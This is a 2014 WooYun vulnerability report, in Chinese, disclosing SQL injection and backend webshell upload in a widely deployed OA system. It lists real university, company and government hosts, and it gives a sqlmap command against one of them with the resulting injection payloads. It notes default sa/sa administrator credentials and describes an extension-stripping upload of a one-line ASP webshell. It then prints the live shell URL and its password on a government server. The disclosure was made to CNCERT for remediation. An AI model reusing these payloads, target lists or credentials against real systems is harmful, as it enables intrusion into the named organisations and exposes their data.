当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-067430

漏洞标题：某OA系统SQL注射+后台getshell

相关厂商：cncert国家互联网应急中心

漏洞作者： 超威蓝猫

提交时间：2014-07-04 20:44

修复时间：2014-10-02 20:46

公开时间：2014-10-02 20:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-04： 细节已通知厂商并且等待厂商处理中
2014-07-09： 厂商已经确认，细节仅向厂商公开
2014-07-12： 细节向第三方安全合作伙伴开放
2014-09-02： 细节向核心白帽子及相关领域专家公开
2014-09-12： 细节向普通白帽子公开
2014-09-22： 细节向实习白帽子公开
2014-10-02： 细节向公众公开

简要描述：

某OA系统SQL注射+后台getshell 第一次提交通用型漏洞 好紧张啊[拜拜]

详细说明：

列出几个能通过搜索引擎搜到的实例:

http://oa.tjfsu.edu.cn/login.asp	天津外国语大学
http://vos.tjufe.edu.cn/login.asp	天津财经大学
http://www.shhjwl.com/vos/login.asp	上海环境物流有限公司
http://cqkyoa.oicp.net/login.asp	科云建筑有限公司
http://oa.hjshy.com/login.asp		上海环境实业有限公司
http://www.cnshuiyu.com/login.asp	上海水域环境发展有限公司
http://www.fzsyxx.com/oa/		抚州市实验学校
http://211.68.250.42/login.asp		天津农学院
http://211.68.192.21/login.asp		天津音乐学院
http://60.171.34.204:8086/		淮南市行政管理执法局
http://121.30.226.44/login.asp		大同煤矿集团
http://116.228.82.237/login.asp		德林义肢
http://180.166.7.94/login.asp		上海市市容环境卫生汽车运输处


【SQL注射】
这套OA系统登陆页存在SQL注射，测试了几个发现后端均为MSSQL，且大部分可以--os-shell执行命令。
注射点:

http://VICTIM.COM/loginverify.asp


POST数据:

Digest=&urlFrom=&username=admin&password=admin&Memo=1


username参数存在SQL注射。
实例:

sqlmap.py -u "http://oa.tjfsu.edu.cn/loginverify.asp" --data "Digest=&urlFrom=&username=admin&password=admin&Memo=1" -p username


sqlmap identified the following injection points with a total of 90 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Digest=&urlFrom=&username=admin' AND 2836=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (2836=2836) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(108)+CHAR(100)+CHAR(113))) AND 'HQUn'='HQUn&password=admin&Memo=1
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: Digest=&urlFrom=&username=admin'; WAITFOR DELAY '0:0:5'--&password=admin&Memo=1
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: Digest=&urlFrom=&username=admin' WAITFOR DELAY '0:0:5'--&password=admin&Memo=1
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005


sqlmap --dbs后均可发现叫做"HaiTianOA"的库，其中的"VO_UserInfor"表储存了可用于登录的管理员的帐号与密码(多数有sa/sa。有的密码是明文的，有的是BASE64加密的)。
请CNCERT自行验证更多实例。
【后台getshell】
以sa/sa登录上海市市容环境卫生汽车运输处(http://180.166.7.94/)为例
登录后点击"资讯内容维护"-"修改"

01.jpg

在编辑器中点击添加图片按钮，打开了"http://VICTIM.COM/ckeditor/tupianadd.asp"

05.jpg


将一句话木马的后缀修改为.jpg 上传，抓包并去掉.jpg

06.jpg


虽然返回HTTP500，但实际已经上传成功。

07.jpg


拼接可得到一句话木马地址: http://180.166.7.94/file/images/20147408067349.asp 密码helo
菜刀连接:

08.jpg

漏洞证明：

如上。
上面仅各举一例作证明，请CNCERT自行验证更多

修复方案：

你们更专业^ ^

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2014-07-09 15:41

厂商回复：

CNVD确认所述漏洞，（由上海交大协助完成验证），转由CNCERT向教育应急组织-赛尔网络公司通报，抄报CCERT。

最新状态：

暂无